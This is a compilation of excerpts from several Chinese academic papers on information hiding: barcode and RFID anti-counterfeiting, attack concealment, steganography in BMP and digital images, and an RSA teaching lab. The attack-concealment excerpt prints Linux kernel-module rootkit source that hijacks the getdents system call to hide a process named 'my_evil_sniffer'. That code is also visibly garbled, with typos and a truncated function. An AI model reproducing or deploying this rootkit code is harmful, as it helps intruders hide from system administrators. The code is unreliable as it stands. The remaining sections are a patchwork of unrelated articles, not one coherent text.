早期國際上普遍采用印刷EAN.UCC一維條碼來嵌入追溯信息，它最大的優點在于簡化輸入，使用條碼讀取設備就可方便地進行信息輸入，但是由于一維碼存儲的信息量小，在一定程度上使其應用范圍受限，因此產生了二維碼（Dimensional Barcode），圖2為市面上見到的一些二維碼。二維碼是在兩個方向（垂直和水平）上進行的編碼和解碼，使用平面（二維方向上）分布的圖形來記錄數據符號信息的，在代碼編制上巧妙地利用構成計算機內部邏輯基礎的“0”、“1”比特流的概念，使用若干個與二進制相對應的幾何形體來表示文字數值信息，這大幅增加了編碼容量以及完善了編碼加密機制，從而拓展了它的應用范圍。通過圖像輸入設備或光電掃描設備就可以自動識讀以實現信息的自動處理。

然而，二維碼不能隱含于文字、商標、圖案等之中，必須獨立地印刷在包裝的某一部分上，不易于暗號化，置放在明處容易被造假者仿冒，防偽安全性差，而且二維碼的編解碼是公開的算法，因此二維碼的防偽和防復制是需要解決的問題。二維碼最大可以存儲1000個左右的漢字，存儲空間相對較大，因此我們可以采用信息加密的方式解決防偽和防復制的問題，加密后的二維碼必須通過相應的解密算法才能讀取到相應的信息，否則讀取到的將是一堆亂碼，從而無法使用。防偽二維碼的出現為食品的追溯和防偽辨識提供了一種更加簡單便捷、準確詳實的方法，加大了造假者的造假成本，使其無利可圖。

4. 網屏編碼防偽技術

網屏編碼防偽技術是天津阿波羅信息技術有限公司總裁顧澤蒼在國家有關部委的直接支持下，經過長期的開發研制出來的具有自主知識產權的國際領先水平的編碼新技術。最初，網屏編碼是針對一維碼和二維碼的不足研制的，實際其應用領域遠遠超過了一維碼和二維碼的應用。網屏編碼技術就是將傳統的由有限的數字組成的肉眼可見的二維條碼，轉換為無限容量且隱形的網屏編碼，通過改變圖形網點的不同位置、不同方向、不同形狀等方式排列組合，滿屏編碼覆蓋在包裝的最底層，從而達到不可復制、難以破譯的效果，如圖3所示。網屏編碼防偽技術隱藏到包裝印刷圖像中的信息，即使專業人員使用高精度設備也不容易識別出在什么地方埋有信息，更不易破解出信息的內容。

網屏編碼防偽技術是一種可在使用印刷機印刷文字或圖像的同時，大量埋入不同文字或圖像的編碼新技術。它實現了真正意義上的數字化紙張，在A4紙上最多可植入6萬個以上的漢字，存儲60KB以上的聲音、圖像、視頻以及Word、Excel等任意格式的文件。此外，在紙介質上即使埋入彩色圖像，其畫質也不會受到影響。它超強的抗攻擊能力更是令人刮目相看，即使紙張污染、破損仍然可以正確識讀出隱藏的信息。網屏編碼技術的信息植入是通過計算機方式處理的，一次成型為印刷品菲林或是CTP版，采用普通油墨正常印刷即可，印刷時無需二次印刷，在整個工藝流程中無需增加任何工藝成本，用Speakun識別器讀取信息就可以發出聲音。

5.RFID技術

RFID是英文“Radio Frequency Identification”的縮寫，即無線射頻識別技術，是一種非接觸式的自動識別技術，它通過射頻信號自動識別目標對象并獲取相關數據，識別工作無須人工干預，可工作于各種惡劣環境中。RFID電子標簽除了目前成本相對較高，它具有體積小、容量大、壽命長、穿透力強、可重復使用、支持快速讀寫、可定位和長期跟蹤管理等特點，在食品安全質量管理方面有著極大的應用潛力。

使用RFID讀寫器將食品的追溯碼存儲到電子標簽芯片中，可以無線讀取，多次寫入和修改。芯片里的數據除了采用密碼保護外，還可用一些加密算法和認證過程來實現安全管理，造假者很難破解和仿造出一模一樣的電子標簽。而且使用RFID技術可以一次同時讀取多個標簽，加快食品的流通速度，提高食品供應鏈的效率。但是由于目前缺少國家標準，僅有一些行業標準，不同企業使用的頻率、編碼及數據內容等都可能會存在差異，讀寫器和標簽難以完全通用，不同企業之間的數據交換和協調受到了限制。

篇（6）

中圖分類號：TP393文獻標識碼：A文章編號：1009-3044(2007)04-10961-03

1 引言

攻擊活動是一系列連續操作，若攻擊時一不小心露出馬腳，所有前面的攻擊就會付諸東流，甚至會“引火燒身”。基于這樣的認識，精明的網絡攻擊者特別注意隱藏攻擊活動。

隱藏技術在計算機系統安全中應用十分廣泛，尤其是在網絡攻擊中，當攻擊者成功侵入一個系統后，有效隱藏攻擊者的文件、進程及其加載的模塊變得尤為重要。本文將討論網絡攻擊活動中文件、進程、網絡連接及通道的高級隱藏技術，這些技術有的已經被廣泛應用到各種后門或安全檢測程序之中，而有一些則剛剛起步，仍然處在討論階段，應用很少。

2 進程活動隱藏技術

攻擊者在目標系統進行攻擊活動時，產生攻擊進程，如果不將這些攻擊進程隱藏在系統中，就會被網絡安全管理人員發現。例如，攻擊者注冊到某臺Linux主機時，系統管理人員使用ps-ef | grep in.telnetd命令就可以察覺。攻擊者可以通過修改系統的進程管理模塊，替換進程管理核心模塊，控制進程的顯示，主要是netstat、ps等命令。下面給出Linux系統下隱藏進程源程序的例子：

extern void* sys_call_table[];

/*隱藏進程名稱*/

char mtroj[]="my_evil_sniffer";

int (*orig_getdnts)(unsigned int fd,struct dirent *dirp,unsigned int coumt);

/*convert a string to number*/

int myatoi(char *str)

{ int res=0;

int mul=1;

char *ptr;

for(ptr=str+strlen(str)-1;ptr>=str;ptr--) {

if(*ptr'9')

return(-1);

res+=(*ptr-'0') *mul;

mul*=10;}

return (res);}

/*從task structure中獲取進程號*/

struct task_struct *get_task(pid_t pid)

{ struct task_struck *p=current;

do { if (p->pid==pid)

returnp;

p=p->next_task; }

while (p!=current);

return NULL;}

/*從task structure獲取進程名稱*/

static inline char *task_name(struct task_struct *p,char *buf)

{ int i; char *name;

name=p->comm;

i=sizeof(p->comm);

do {unsigned char c=*name;

name++; i--;

*buf=c;

if (!c);

break;

if (c=='\\') {

buf[1]=c; buf+=2;

continue; }

if (c= ='\n') {

buf[0]='\\';

buf[1]='n'; buf+=2;

continue; }

buf++;}

while (i);

*buf=’\n’;

return buf+1;}

/*確認需要隱藏的進程*/

int invisible (pid_t pid)

{struct task_struct *task=get_task (pid);

char *buffer;

if (task) {

buffer=kmalloc (200,GFP_KERNEL);

memset (buffer,0,200);

task_name (task,buffer);

if (strstr (buffer, (char *) &mtroj)) {

kfree (buffer);

return 1; }

}return 0;}

int hacked_getdents (unsigned int fd, struct dirent *dirp, unsigned int count)

{unsigned int tmp,n;

int t,proc=0;

struct inode *dinode;

struct dirent dirp2,dirp3;

tmp=(*orig_getdents) (fd,dirp,count);

#idef _LINUX_DCACHE_H

dinode=current->files->fd[fd]->d_inode;

#else

dinode=current->files->f_inode;

#endif

if (dinode->i_ino= =PROC_ROOT_INO && !MAJOR (dinode->I_dev) &&

MINOR (dinode->I_dev) = =1)

proc=1;

if (tmp>0) {

dirp2= (struct dirent *) kmalloc (tmp, GFP_KERNEL);

memcpy_fromfs( dirp2,dirp,tmp);

dirp3=dirp2;t=tmp;

while (t>0) {

n=dirp3->d_reclen;

t-=n;

if ((proc && invisble (myatoi (dirp3->d_name)))) {

if (t!=0)

memmove (dirp3, (char *)dirp3+dirp3->d_reclen,t);

else

dirp3->d_off=1024;

tmp-=n;}

if (t!=0)

dirp3= (struct dirent *) ((char *) dirp3+dirp3->d_reclen);}

memcpy_tofs (dirp,dirp2,tmp);

kfree (dirp2);}

return tmp;

int init_module (void)/*module setup*/

{orig_getdents=sys_call_table[SYS_getdents];

sys_call_table[SYS_getdents]=hacked_getdents;return 0;}

void cleanup_module (void)/*module shutdown*/

篇（7）

互聯網傳輸數據以及文件的過程中，很容易出現文件被攻擊、數據被竊取等問題。尤其是關系到個人隱私以及國家安全的文件資料，如果被不法的黑客獲取，對國家安全以及個人安全都會造成一定負面影響。為了保障電子信息安全，引入了電子信息隱藏技術，可以提升網絡傳輸安全性，本文主要對電子信息隱藏技術的要點進行分析，并且總結了電子信息隱藏技術的應用現狀。

2電子信息隱藏技術的涵義

電子信息隱藏和信息偽裝，都是使用一些手段或方法把機密信息與其他信息混在一起，這樣防止居心不良的人盜用信息。在實際生活中，信息隱藏技術的載體種類多種多樣，例如，圖片、音頻、視頻以及文檔。所以，將機密信息隱藏在這些圖片、文檔中，不會輕易被黑客發現，即便被發現也沒有大礙，黑客是沒有辦法提取其中的機密信息，這樣就切實保證了機密信息的安全性。傳統保護信息的方式是對信息進行加密，并且傳統的加密技術在方法以及思想方面有可取之處，所以，新型信息隱藏技術并不完全摒棄傳統加密技術，并且對傳統進行了相應的調整以及發展。依據使用信息隱藏技術對象的不同，可以分為不同技術類型，例如，數字水印技術、替聲技術、疊像技術等。其中，數字水印技術可以在網絡環境下切實保護版權，將版權各項信息變成隱藏信息放入圖片、音頻、視頻中，確定所有權以及防止侵權行為。替聲技術是根據聲音的內容分類，并對聲音信息進行相應的處理，對原有的聲音內容、原聲對象等進行改變，這樣可以有效將聲音的真正信息隱藏起來。

3電子信息隱藏技術幾大特征

電子信息隱藏技術具有非常獨特且明顯的優勢，為人們的生產和生活活動提供了便利，其主要有以下幾個特征：其一，安全性高，傳統的信息一旦受到攻擊，信息就會受到破壞；而隱藏信息在遭到攻擊時，隱藏技術可以盡最大的能力保護信息，防止信息損壞。其二，具有隱蔽性，電子信息隱藏技術主要在傳遞信息時將機密信息隱藏成普通的信息，這樣可以避免一些不良居心的人截獲。其三，不可獲得性，信息的原始載體通過信息隱藏技術將其轉化成普通載體，兩者之間的聯系是難以發現的。就算是信息落入了不法分子手中，他們也是不能提取的，如果想要破譯隱藏信息也是需要大量的時間，這可以為信息所有者解決這一盜取問題提供了充裕的時間。其四，不可見性，在使用隱藏技術時，主要是使用視聽屬性對信息進行隱藏，雖然信息的內容并沒有變化，但是卻無法正常感知。其五，不可變性。信息在傳輸的過程中，其載體可能會出現變化、也可能會經過不同手段處理以及人為的攻擊，但是，載體中的信息并不會發生變化。其六，可恢復性，雖然信息隱藏技術可以保持信息的不變，但是這并不是絕對的不變化，其中可能有意外情況發生造成信息丟失、損壞。但是，信息隱藏技術的可恢復性能夠有效解決信息載體的損壞、丟失這一問題，只要殘留一些信息就可以通過一定的手段對信息進行恢復。

4電子信息隱藏技術應用現狀

4.1電子信息隱藏技術在數據保密上的使用

隨著互聯網的發展，人們的生活方式得到了極大的改變，互聯網讓人們的生活更加方便，人們可以通過互聯網來獲得信息或傳輸信息。但是，由于互聯網的開放性以及便捷性，不少不良分子開始利用互聯網這一平臺使用不法手段侵害他人的版權、截獲他人的資料，使網絡信息安全問題頻發，同時也對信息所有者造成了極大的傷害。當前，隨著經濟全球化、信息全球化的發展，每一個人的生活都與互聯網緊密相關，互聯網也漸漸涉及到了各個方面，如政治、經濟、軍事以及個人隱私。這些信息一旦泄露將會造成不可估量的損失。所以，對信息進行隱藏保護是非常有必要的。信息隱藏技術讓人們安全使用互聯網進行交流，同時也可以對一些重要的信息進行有效保護。

4.2電子信息隱藏技術在鑒定數據完整性上的使用

比較常用的隱藏技術一般有數字水印技術、替聲技術和疊像技術。針對這三種隱藏技術在生活中的使用情況進行分析可以得知，數字水印技術還是存在著一些不足之處，如果保護載體遭到篡改，隱藏其中的信息就會破壞或暴露出來，之后不法之徒就可以輕松獲得隱藏信息。數字水印技術通常是在一些數字票據中使用，其可以將隱藏的水印保留在票據中，可以有效甄別數字票據的真偽。在對數據的完整性鑒定中主要有信號真偽的鑒定、信號是否完整的鑒定、信號之間的差別、信息資料是否遭到篡改或丟失等。通過對數據完整性進行鑒定能夠鑒定出信號是否真實，有效減少虛假信息。在具體實踐中的使用一般有以下兩步：先需要通過數據庫管理系統來確定數據是否完整，再輸入準確的信息并儲存信息。之后，根據具體的實際情況，使用較為合適的驗證方式對其進行驗證檢查。

5結語

綜上所述，信息隱藏技術的應用價值非常大以及前景廣闊，作為有效的信息安全技術，這種技術還需要進行深入研究，當前的信息隱藏技術一般應用在數據保密以及鑒定數據完整性等工作上，還值得不斷探究以及發展，促使信息隱藏技術在更多的領域發揮重要作用。

引用：

[1]錢蔚蔚,高潔.面向政府電子信息服務的公眾體驗量化模型構建研究[J].情報科學,2016,05:19-22.

[2]楊楊,張衛明,侯冬冬,王輝,俞能海.具有對比度增強效果的可逆信息隱藏研究進展與展望[J].網絡與信息安全學報,2016,04:12-20.

[3]楊芳.論個人信息的隱私權保護——信息自由原則之下的有限保護[J].西南科技大學學報(哲學社會科學版),2016,02:76-82.

篇（8）

中圖分類號:G622.0文獻標識碼:A文章編號:1007-9599 (2010) 10-0000-01

Research of Experiment Teaching on Information Hiding Technology

Liu Fang,Lu Yinxiao

(First Aviation Institute of Air Force,Xinyang464000,China)

Abstract:The theory is abstract and difficult for students to understand.In order to enhance s a deep understanding of steganography for student,and upgrade their skills in information security and confrontation,RSA algorithm is an example for experiment teaching research in this paper.The study includes experiment teaching purposes,the basic theory,learning environment,implementation plans,the specific details and requirements and so on.

Keywords:Information hiding technology;RSA algorithm;Experiment teaching

為切實培養學生信息安全與對抗的意識,提高學生信息安全與對抗的技能,教學實驗是學生實踐活動中必不可少的重要環節。通過合理配置和開設系統性實驗,結合專業基礎和專業課程,使學生對信息安全與對抗專業知識具有更為深刻的理解和掌握。

一、信息隱藏技術實驗教學目的

信息隱藏技術有多種形式,包括數據加密解密、數字水印、閥下通道等。本實驗教學以數據加密解密為例,讓學生充分理解和掌握信息隱藏的基本概念以及通過網絡進行數據加密傳輸的原理。下面以RSA算法為例設計實驗教學。

二、RSA算法的安全性原理

RSA算法是由R.Rivset、A.Shamir和L.Adleman三位教授于1978年在美國麻省理工學院研制出來的一種公鑰密碼系統。公鑰密碼算法使用不同的密鑰進行加解密運算,通信雙方各有一對密鑰:公鑰和私鑰。在秘密通信的過程中,如果A向B發送信息,A應當用B的公鑰加密信息,B在收到信息后使用自己的私鑰解密信息。反之,當B向A發送信息,B應當用A的公鑰加密信息,A在收到信息后使用自己的私鑰解密信息。

RSA算法的安全性是建立在“大數分解和素數檢測”著名數論難題的基礎上,即:將兩個大素數相乘在計算上很容易實現,但將該乘積分解為兩個大素數因子的計算量是相當巨大的,以至于在實際計算中是不能實現的。

三、實驗實施方案

(一)RSA加密解密系統實現

為了透徹理解RSA算法中加密和解密過程并設計出RSA加解密系統,本實驗采用一種簡單直觀的方法來實現。在一些對加密要求不很嚴格的實際環境中,如果計算精度允許,可以采用擴充素數表來實現系統對數據的加密和解密,但同時也應該注意密鑰對的選取,關鍵是在計算過程中一定使明文分組M小于模n。根據上述分析可總結出實現本系統的步驟如下:

1.建立等長的素數表,并將素數賦值給數組a[i]和a[j];

2.求兩兩乘積并將其打印出來,即得a[i]×a[j]=a[i][j];

3.從素數乘積表中隨機選取一個公共模n、公鑰pk并將其公開,同時也隨機生成私鑰sk;

4.利用隨機生成的公鑰pk對明文信息加密為C;

5.利用私鑰sk解密得明文M。

在高級語言中,把文件可看做獨立字符(字節)組成的序列,即是由一個一個字符(字節)按順序組成,根據數據的組織形式可分為ASCII文件和二進制文件。二進制文件是把內存中的數據按其在內存中的形式輸出到磁盤上存放。為了加快加密和解密的速度,這里采用二進制方式打開信息明文、密文及解密后的明文。定義加密函數encryption(char*plaintext,char*ciphertext,unsigned long int pk,unsigned long int modulen),解密函數decryption(char*ciphertext,char*plaintext,unsigned long int sk,unsigned long int modulen)。在這兩個函數實現過程中,用到的密鑰是通過等長素數表取得,而且都調用了同一個子程序求大數冪模的函數commod(),該函數主要是對大指數求模問題進行分析。

(二)實驗內容和要求

本實驗注重RSA加解密系統實現,并提出具體實驗內容和要求。學生能夠調試通過RSA加解密軟件;并利用RSA對某一數據文件進行單次加密和解密操作;設計出的系統要能夠提供大素數生成功能,可以導出素數,也可以從文件中導入素數,也可以產生一個指定長度的隨機大素數。另外要求學生能夠提交實驗報告、并現場演示和說明。

以明文“RSA算法的安全性依賴于大數分解”為例,假設存儲這句話的文件在E盤,且設明文文件名為mingw.doc,以密鑰對(pk,n)=(17,2773),(sk,n)=(157,2773)為例對其進行加密和解密,生成密文文件名設為miw.doc。

本文是以信息隱藏技術中典型的公鑰密碼算法RSA為例進行實驗教學探究,期望在數據加密解密、數字水印、閥下通道等信息隱藏技術的實驗教學上有進一步的實踐探索。

篇（9）

1 介紹

隨著計算機技術和Internet的迅速發展與應用，計算機越來越應用到了人們生活的方方面面中，又由于計算機在通訊方面突出表現，使其在各種信息交換、傳遞的領域更是獨樹一幟。事有兩面，在計算機進行快速信息交換的同時也帶來了一定的安全性問題，對于一些高度機密的文檔信息，就不能用普通的方法(如普通的U盤拷貝、發送電子郵件)進行交換和傳遞了。這樣如何將機密文檔信息在安全的情況下用現代的信息傳遞手段進行快速傳遞成為現在的一個新的研究課題。

信息隱藏技術的文檔信息傳輸是這個課題的核心，它是將機密文檔處理后隱藏到普通的BMP圖片中，把隱藏有信息的圖片通過計算機發送到接收方，接收方再解釋出隱藏文檔的方法。這種方法不同于單獨發送加密文件的優點在于，不容易引起攻擊者的注意。因為中間信息是類同于普通的BMP圖片。這種方法的要求有兩點：

隱藏信息后的彩色BMP圖像與原始圖像相比，在人的視覺上沒有什么區別；

隱藏信息后的彩色BMP圖像與原始圖像相比，大小上沒有多大變化；

2 BMP位圖說明

BMP圖像文件格式，是微軟公司為其WINDOWS環境設置的標準圖像格式，在Windows系統軟件中包含了一系列支持BMP圖像處理的API函數。隨著WINDOWS操作系統在世界范圍內的普及， BMP文件格式越來越多地被各種應用軟件所支持。

BMP圖像文件是位圖文件，位圖表示的是將一幅圖像分割成一個個很小的柵格，每個柵格縮小為一個點稱為像素，每一個像素具有自已的數值，即一幅圖像是由一系列像素點構成的點陣。BMP中按第個像素數值（像素位值）的取值范圍可以分為1位、4位、8位、24位圖片。像素位值的大小體現了圖片彩色質量的好壞，同時也決定了圖片保存時占用空間的多少。①1位圖片就是指黑白圖片，圖片中每一由黑白兩種顏色組成，它是占用空間最少的位圖，同時是圖片質量最差的；②4位圖片是16色的彩色圖片，圖片中每個像素位的范圍為0到15，帶有彩色，但彩色質量很差，占用空間小；③8位圖片是256色的彩色圖片，圖片中每個像素位的范圍為0到255，彩色質量相對好，占用空間大；④24位圖片就是所說的真彩色的彩色圖片，圖片中每個像素位由三個字節組成，彩色質量相對好，占用空間最大；

這里討論的主要是對24位真彩色圖片的處理。

3 信息處理的原理

3.1 信息隱藏

信息隱藏就是將文檔信息隱藏在真彩色BMP圖片中，其流程如圖1所示：

圖2中，每一個點表示位圖中的一個像素,每一個像素的值范圍在0到16777215間。在隱藏信息時每一個像素的奇偶性作為隱藏數據的依據。如果此像素的值為偶數表示數據為0，如果此像素的值為奇數時表示數據為1，用0和1的不同排列組全表示各種數據。而這種表示方式正好與各種磁盤保存數據的方式相同（磁盤中的數據也是以0和1的方式 ：二進制方式保存的）。這樣從磁盤中讀取出文檔的內容，使位圖中各個像素的奇偶性和文檔內容的奇偶性對應，就在位圖中隱藏了信息這個過程叫位圖像素調制。其中的對應規則復雜程度是有效防止隱藏的信息被非法解讀出的難易程度的體現。對應規則越復雜越難被非法解讀出來。

再對位圖中每行中隱藏的數據進行位異或和CRC_32校驗，可以有效的驗證解讀出數據的有效性和正確性。信息隱藏過程舉例：BMP位圖第一行前8個像素的值為：13075297, 13075297, 13075297,13074781,13404000,13206622,13272413,13206620，要隱藏的數據為01010101，ASC碼值為85。將像素值的奇偶性與數據比較后要作如下的調制：

第一個像素：13075297隱藏信息0，要調整為偶數13075298；

第二個像素：13075297隱藏信息1，不變；

第三個像素：13075297隱藏信息0，要調整為偶數13075298；

第四個像素：13074781隱藏信息1，不變；

第五個像素：13404000隱藏信息0，不變；

第六個像素：13206622隱藏信息1，要調整為奇數13206623；

第七個像素：13272413隱藏信息0，要調整為偶數13272414；

第八個像素：13206620隱藏信息1，要調整為奇數13206621；

經過這樣的調制，此BMP位圖第一行前8個像素的奇偶性便與85轉化的8位二進制數完全相同，這樣，8個像素就隱藏了一個字節的信息。

綜上所述，將信息隱藏入BMP位圖中的步驟為：

讀取文件的二進制內容；

將位圖每個像素的奇偶性與二進制數據進行比較；

通過調節每個像素的奇偶性便之與文件的二進制內容一致，就將信息隱藏到BMP位圖中了；

3.2 信息解讀

信息解讀就是從隱藏有信息的BMP位圖中解讀出隱藏的信息，是信息隱藏的逆過程，其流程如圖三所示：

信息解讀過程如下：

判斷BMP位圖中每個像素值的奇偶性，若為偶數，則輸出“0”；若為奇數，則輸出“1”；

每8個像素輸出8個0和1組成的二進制數據，轉換為一個字節；

經過對所有像素處理，得到一系列的二進制數據，保存成文件，就是隱藏的信息。

本次實驗結果如圖4、圖5所示。

5 總結

(1)由于原始24位BMP圖像文件隱藏信息后，其像素位數值最多變化1（因為是像素位值加“1”或減“1”），該像素位代表的顏色最多只變化了1/16777216，所以，已隱藏信息的BMP圖像與未隱藏信息的BMP圖像，用肉眼是看不出差別的；

(2)由于此法只修改出BMP位圖中每個像素的值，而沒有改變像素的數量，所有在保存圖片時的大小沒有改變，所有隱藏了文檔信息后位圖的大小沒有改變；

(3)使用這種方法，隱藏的文檔信息是直接讀取的文件，所以對文件格式沒有限制，可以是TXT文件、WORD文件等。

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中圖分類號：TP391 文獻標識碼：A文章編號：1007-9599 (2011) 16-0000-02

Information Hiding Technology Research Based on Digital Image

Si Yingshuo,Yang Wentao,Zhang Sen

(Zhengzhou Institute of Aeronautical Industry Management,Zhengzhou450046,China)

Abstract:Security of information transmission is becoming more and more important along with the development of media digitized and network technology.In this paper,we mainly studied the information hiding technology based on digital images,and analyzed the advantages and disadvantages of spatial domain hiding algorithm and transform domain hiding algorithm.

Keywords:Digital Image;Information hiding;Spatial domain;Transform domain

一、信息隱藏的基本原理

信息隱藏技術通常使用文字、圖像、聲音及視頻等作為載體，信息之所以能夠隱藏在多媒體數據中，主要是利用了多媒體信息的時間或空間冗余性和人對信息變化的掩蔽效應。

（一）多媒體信息本身存在很大的冗余性，從信息論的角度看，未壓縮的多媒體信息的編碼效率是很低的，所以將某些信息嵌入到多媒體信息中進行秘密傳送是完全可行的，并不會影響多媒體信息本身的傳送和使用。（二）人的視覺或聽覺感官系統對某些信息都有一定的掩蔽效應。在亮度有變化的邊緣上，該邊界“掩蔽”了邊緣鄰近像素的信號感覺，使人的感覺變得不靈敏、不準確，這就是視覺掩蔽效應[2]。通常人眼對灰度的分辨率只有幾十個灰度級，對邊緣附近的信息不敏感。利用這些特點，可以很好地將信息隱藏而不被覺察。

隨著多媒體技術的迅速發展，圖像成為信息表達的主要方式，數字圖像大量存在，因而被研究最多的是圖像中的信息隱藏，而且，圖像信息隱藏所研究的方法往往經過改進可以輕易地移植到其他的載體中[1]，是研究其他載體的隱藏算法的基礎。因此，對基于數字圖像的信息隱藏技術的研究成為了當前信息隱藏領域的一個研究熱點。

二、基于數字圖像的信息隱藏基礎知識

（一）數字圖像的概念。隨著數字技術的不斷發展和應用，許多信息都可以用數字形式進行處理和存儲，數字圖像就是以數字形式進行存儲和處理的圖像。數字圖像可看作是平面區域上的二元函數Z=F（x，y），（x，y）∈R。在絕大多數情況下區域R是一個矩形。對R中任意的點（x，y），則F（x，y）代表圖像的信息（如灰度值，RGB分量值等）。表示圖像的二元函數有其特殊性，這就是相關性。在圖像被數字化之后，Z=F（x，y）則相應于一個矩陣，其元素所在的行與列對應于自變量取值，元素本身代表圖像信息。（二）數字圖像信息隱藏模型。圖像信息隱藏通過將秘密信息做適當的預處理后，利用合理的嵌入機制將信息隱藏在可公開的圖像媒體信息中，達到傳遞秘密信息的目的，即信息隱藏將“正在通信”的事實隱蔽起來，從而逃過攔截者的破解。信息隱藏必然會引起載體圖像一定的失真，如果失真過大就會被視覺感知，因此不可見性或者說不可感知性是衡量信息隱藏技術的重要標準。

圖像信息隱藏將秘密信息隱藏或變換成另一非機密性的圖像文件中，使得加入秘密信息的目標圖像看起來難以察覺到有變化，這種隱藏的可能性除了來自于人眼視覺的掩蔽特性外，還有一個原因就是圖像數據的數據冗余。圖像數據中存在很多與有用信息無關的數據，即所謂的數據冗余，如果能夠有效地利用這些冗余數據嵌入信息，就能達到很好的隱藏效果，圖像信息隱藏的一般模型如圖1所示：

圖1：圖像信息隱藏的一般模型

三、基于數字圖像的信息隱藏算法

根據秘密信息嵌入域的不同，圖像信息隱藏算法主要分為兩大類：空域信息隱藏算法和變換域信息隱藏算法，二者在數據的嵌入原理上有根本的區別[3]。基于空域的信息隱藏算法通過直接改變圖像某些像素的值來嵌入信息，具有較大的容量和較好的不可見性，但是安全性不高；基于變換域的信息隱藏算法通過改變某些圖像變換域的系數來嵌入信息，變換域的方法在近來以至今后，都是信息隱藏算法的主流。

（一）空域信息隱藏技術。空域隱藏技術是指將秘密信息嵌入數字圖像的空間域中，即對像素灰度值進行修改以隱藏秘密信息。

1.LSB算法。最低有效位（Least Significant Bits，LSB）方法是最早提出來的最基本的空域圖像信息隱藏算法，許多其它的空域算法都是從它的基本原理進行改進擴展的，使得LSB方法成為使用最為廣泛的隱藏技術之一。其原理是最不重要數據的調整對載體圖像的影響很小，在視覺上無法察覺。LSB算法中，載體圖像的LSB平面先被置0，然后根據要嵌入的秘密數據修改為“1”或不變，直至嵌入完成。嵌入數據后，載體圖像部分像素的最低一個或多個位平面的數值被秘密信息所替換。

LSB算法每個像素點可以隱藏一比特、兩比特甚至三比特的信息，達到了一個較大的隱藏容量及較好的不可見性，隨機間隔法選擇嵌入位置提高了算法的秘密性，這些特點為信息隱藏算法的研究提供了一定的參考。但是，LSB算法魯棒性較差，給應用帶來了一定的限制。

2.Patchwork算法。另一種空域信息隱藏算法是Bender等提出的直接擴頻隱藏算法Patchwork。擴頻算法為圖像像素添加噪聲，并且不需要改變噪聲的統計特征就可以在每個噪聲成分中隱藏一個比特。算法步驟如下：（1）用一個密鑰K初始化一個偽隨機數發生器；（2）根據隨機數發生器的輸出，隨機選取n個像素對，其灰度值表示為（ai，bi）；（3）令 ，完成信息嵌入。檢測時，假設檢驗被用來證實秘密信息的存在。令（2.1）

如果 ，判定秘密信息存在。

Patchwork的檢測方法基于如下統計假設：圖像中隨機選取的像素，其灰度值是獨立同分布的。如果在一副圖像中隨機選取像素對，則統計量S的期望值為

（2.2）

對于已知位置的像素對，S≈2n。

Patchwork算法改進了LSB算法改變圖像統計特性的不足，但是隱藏容量較小，容易受到各種綜合攻擊的影響，只能應用在某些需要嵌入少量信息的場合。為了增加算法的魯棒性，一種改進的方法是將圖像分塊后，再嵌入秘密信息，算法的魯棒性和不可見性都會增加。

總的來說，空域信息隱藏算法具有較好的不可見性和較高的隱藏容量，計算速度快，但魯棒性較差，對于載體圖像的壓縮、噪聲擾動等攻擊的抵抗力較弱，很多研究更傾向于基于變換域的信息隱藏算法。

（二）變換域信息隱藏技術

變換域隱藏技術就是指將秘密信息嵌入數字圖像的某一變換域中。比較常用的是離散傅立葉變換（DFT）、離散余弦變換（DCT）和離散小波變換（DWT）等，它們主要是通過修改載體圖像某些指定的頻域系數來嵌入數據。其基本思想是利用擴頻通信原理來提高隱藏系統的魯棒性。考慮到對低頻區域系數的改動可能會影響到載體圖像的感知效果，而高頻系數又易被破壞，因此，信息隱藏技術一般選取載體圖像中頻區域上的系數來嵌入秘密數據，從而使之既滿足不可感知性，又滿足對諸如失真壓縮等操作的魯棒性。

1.基于DFT的數字圖像隱藏算法。基于DFT的數字圖像隱藏算法將圖像分割成多個感覺頻段，然后選擇合適部分來嵌入秘密信息。文獻[4]提出基于原始圖像的傅立葉變換，將調制后的秘密信息依次加入到某些固定位置的幅值譜上，文獻[5]利用傅里葉變換的可加性和圖象去噪原理提出了一種基于頻域的三維運動盲水印算法。傅里葉變換具有一些變換無關的完整特性。例如：空間域的平移只引起頻域上的相移，而幅度不變；空間域尺度的縮放會引起頻域尺度反向的縮放；空間域旋轉的角度和所引起的頻域的旋轉的角度是一致的。這些特點可以抵御諸如旋轉、尺度、平移等幾何攻擊。2.基于DCT的數字圖像隱藏算法。基于DCT域的圖像信息隱藏算法的一般步驟為，首先對載體圖像分塊進行二維DCT變換，然后用秘密信息對DCT系數進行調制，最后對新的系數作離散余弦反變換（IDCT），即可得到隱藏圖像，完成信息隱藏過程。基于DCT的信息隱藏算法因其具有較強的魯棒性，計算量較小，且與國際圖像壓縮標準（JPEG，MPEG，H.263，H，264等）相兼容（這些標準中均采用DCT變換），因而具有諸多的潛在優勢，成為近年來研究最多的一種信息隱藏技術

3.基于DWT的數字圖像隱藏算法。基于DWT域的圖像信息隱藏算法的一般步驟為，首先對載體圖像進行多級離散小波變換，得到不同分辨率下的細節子圖和逼近子圖，然后用秘密信息對DWT系數進行調制，最后對嵌入秘密信息后的小波系數進行相應級別的離散小波逆變換，完成信息隱藏過程。利用小波變換把原始圖像分解成多頻段的圖像，能適應人眼的視覺特性且使得信息的嵌入和檢測可分多個層次進行，小波變換域信息隱藏方法兼具時空域和DCT變換域方法的優點。因此，基于離散小波變換的信息隱藏算法已經成為當前研究的熱點和最重要的研究方向。目前，常見的幾類小波變換域信息隱藏嵌入算法有：非自適應加性和乘性嵌入方式、基于量化的嵌入方式，基于自適應嵌入方式、基于多分辨率嵌入方式。此外，還有基于替換的嵌入方式，基于樹結構的嵌入方式等等。

由于變換域信息隱藏技術是在頻域嵌入信息，因此它有頻域所固有的抗攻擊和變換的能力，使這一隱藏方案對比例變化、JPEG壓縮、抖動、剪輯、打印/掃描以及合謀攻擊都具有很好的魯棒性。它的優點體現在以下幾點：（1）在變換域中嵌入的信號能量可以分布到空間域的所有像素上，有利于保證秘密信息的不可見性；（2）在變換域中，人類視覺系統的某些特性（如頻率掩蔽效應）可以更方便的結合到秘密信息編碼過程中，提高算法的魯棒性；（3）交換域方法與大多數國際數據壓縮標準兼容，從而可以直接實現壓縮域內的隱藏算法，提高效率，同時，也能抵抗相應的有損壓縮。

四、結束語

信息隱藏在信息安全、電子商務、軍事、醫療系統、國家情報等方面有著非常重要的意義，正是由于它廣泛的應用和重要的地位，使信息隱藏的研究成為科學研究的熱點之一。

